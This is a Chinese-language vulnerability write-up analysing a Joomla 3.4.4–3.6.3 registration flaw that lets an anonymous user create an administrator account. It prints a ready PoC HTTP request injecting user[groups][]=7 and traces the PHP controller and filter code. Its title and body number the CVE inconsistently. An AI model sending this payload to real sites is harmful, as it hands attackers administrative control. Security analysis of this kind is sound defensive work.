joomla创建特权用户漏洞分析(cve-2016-8869)

漏洞环境

Joomla版本 3.44到3.63

漏洞说明

这个漏洞和CVE-2016-8869是姊妹篇的漏洞,但是这个漏洞比8869这个漏洞的思路更加巧妙,更有意思。这个漏洞本质也是与8869的这个漏洞差不多,都是出现在用户登陆注册的地方。

漏洞分析

整个漏洞还是和之前的8869的漏洞类似,都是出在components/com_users/controllers/user.phpUsersControllerUser::register()中。

请求包

首先通过一个请求包来分析UsersControllerUser::register()的整个注册流程的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: 【COOKIE】
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------596020006637
Content-Length: 1036

-----------------------------596020006637
Content-Disposition: form-data; name="user[name]"

spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[username]"

spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[password1]"

123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[password2]"

123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[email1]"

1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="user[email2]"

1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="option"

com_users
-----------------------------596020006637
Content-Disposition: form-data; name="task"

user.register
-----------------------------596020006637
Content-Disposition: form-data; name=【TOKEN】

1
-----------------------------596020006637--

上述使用【】标注的COOKIE和TOKEN需要用户自定义,至于如何得到这两个值,整个上面文章已经做了十分详细的说明了,这里就不做解释。

register()

上述的POST请求会由components/com_users/controllers/user.phpUsersControllerUser::register()来进行处理。

程序就会运行到$model->register($data)中。其中的$data就是POST data中的user数组。

register($temp)

跟踪$model->regsiter($data)方法
components/com_users/models/registration.php中的UsersModelRegistration::register($temp)

在对$temp进行foreach遍历之前,存在语句

1
$data = (array) $this->getData();

这个就会存在$data变量,在通过$temp对$data进行赋值之前,在$data就就已经存在了内容,同时还有标识用户类型的数据。

如上图所示,其中的groups数组值为2,标识了此用户为普通用户。

注册成功

在完成了整个流程之后,就会注册一个普通用户。

PoC

在知道了是使用groups数组来对用户进行标识,那么就可以直接在POST Data中加入groups数组,将值设定为管理员的值(在joomla为7),那么就可以创建一个管理员用户了。

POST data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: 【COOKIE】
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------596020006637
Content-Length: 1125

-----------------------------596020006637
Content-Disposition: form-data; name="user[name]"

spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[username]"

spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[password1]"

123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[password2]"

123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[email1]"

1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="user[email2]"

1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="user[groups][]"

7
-----------------------------596020006637
Content-Disposition: form-data; name="option"

com_users
-----------------------------596020006637
Content-Disposition: form-data; name="task"

user.register
-----------------------------596020006637
Content-Disposition: form-data; name=【TOKEN】

1
-----------------------------596020006637--

可以看到相比上一节中的POST请求,这个PoC中的POST请求增加了数据

1
2
3
4
-----------------------------596020006637
Content-Disposition: form-data; name="user[groups][]"

7

这个就是用来标识用户为管理员的数据。
在将$temp中的值赋值给$data之后通过调试,查看$temp和$data中的数据

可以看到,最后在$data中成功写入了groups为7的值。
最后查看后台用户,发现已经注册成为了管理员。

正常注册

上述的分析,都是基于components/com_users/controllers/user.phpUsersControllerUser::register()来进行分析的。在页面上进行正常注册时,注册请求会发送到components/com_users/controllers/registration.php中的UsersControllerRegistration::register()中。

POST data

在POST data中,仅仅只需要添加groups即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie:【COOKIE】
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------204296728662
Content-Length: 1036

-----------------------------204296728662
Content-Disposition: form-data; name="jform[name]"

spoock
-----------------------------204296728662
Content-Disposition: form-data; name="jform[username]"

spoock
-----------------------------204296728662
Content-Disposition: form-data; name="jform[password1]"

123456
-----------------------------204296728662
Content-Disposition: form-data; name="jform[password2]"

123456
-----------------------------204296728662
Content-Disposition: form-data; name="jform[email1]"

1@123.com
-----------------------------204296728662
Content-Disposition: form-data; name="jform[email2]"

1@123.com
-----------------------------204296728662
Content-Disposition: form-data; name="jform[groups][]"

7
-----------------------------204296728662
Content-Disposition: form-data; name="option"

com_users
-----------------------------204296728662
Content-Disposition: form-data; name="task"

registration.register
-----------------------------204296728662
Content-Disposition: form-data; name=【TOKEN】

1
-----------------------------204296728662--

register()

上述的请求最后会由components/com_users/controllers/registration.php中的UsersControllerRegistration::register()来进行处理,在其中同样会存在$return = $model->register($data);语句。

diff

对比在UsersControllerRegistrationUsersControllerUserregister()方法
UsersControllerRegistration::register()

1
2
3
4
5
6
7
public function register() {
//some php codes
$data = $model->validate($form, $requestData);
// some php codes
$return = $model->register($data);
//some php codes
}

UsersControllerUser::register()

1
2
3
4
5
6
7
8
9
10
public function register() {

//some php codes
$return = $model->validate($form, $data);

// some php codes
$return = $model->register($data);
// some php codes

}

从两者的对比中可以看出,UsersControllerUser中对data进行了验证之后并没有使用返回之后的$return而是仍然使用的是$data。在UsersControllerRegistration中对$requestData进行了验证之后,使用的是返回之后的$data

validate

跟踪validate($form, $requestData)
libraries/legacy/model/form.php中的JModelForm::validate()方法。
在传入的validate()中,存在两个参数,分别为$form和$data。

从图中可以看出$data中是保存有groups的值的。
在valiate中胡调用fliter()函数对$data进行处理。

filter

跟踪filter($data)
libraries/joomla/form/form.php中的JForm::filter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function filter($data, $group = null) {
// Make sure there is a valid JForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
return false;
}

$input = new Registry($data);
$output = new Registry;

// Get the fields for which to filter the data.
$fields = $this->findFieldsByGroup($group);

if (!$fields)
{
// PANIC!
return false;
}

// Filter the fields.
foreach ($fields as $field)
{
$name = (string) $field['name'];

// Get the field groups for the element.
$attrs = $field->xpath('ancestor::fields[@name]/@name');
$groups = array_map('strval', $attrs ? $attrs : array());
$group = implode('.', $groups);

$key = $group ? $group . '.' . $name : $name;

// Filter the value if it exists.
if ($input->exists($key))
{
$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
}
}

return $output->toArray();
}

从上面的代码中可以看出,$data最后转换成为了$input。同时还存在$fileds,是由程序产生$fields = $this->findFieldsByGroup($group);
最关键的是foreach循环中,如果$data中的$key在$fields中才会进行输出,但是最后通过单步调试调试,发现在$fileds中并不存在$groups,那么最后就过滤掉了groups了。
所以通过正常的注册方式想要提升权限是不可能的。

后记

在本漏洞中存在的问题与8869的漏洞是一样的,注册用户之后需要通过邮件进行激活,所以这个漏洞实际上也很难发挥作用,修复方式也和8869漏洞的修复方式是一样的。

参考

Joomla未授权创建用户漏洞(CVE-2016-8870)分析 http://paper.seebug.org/88/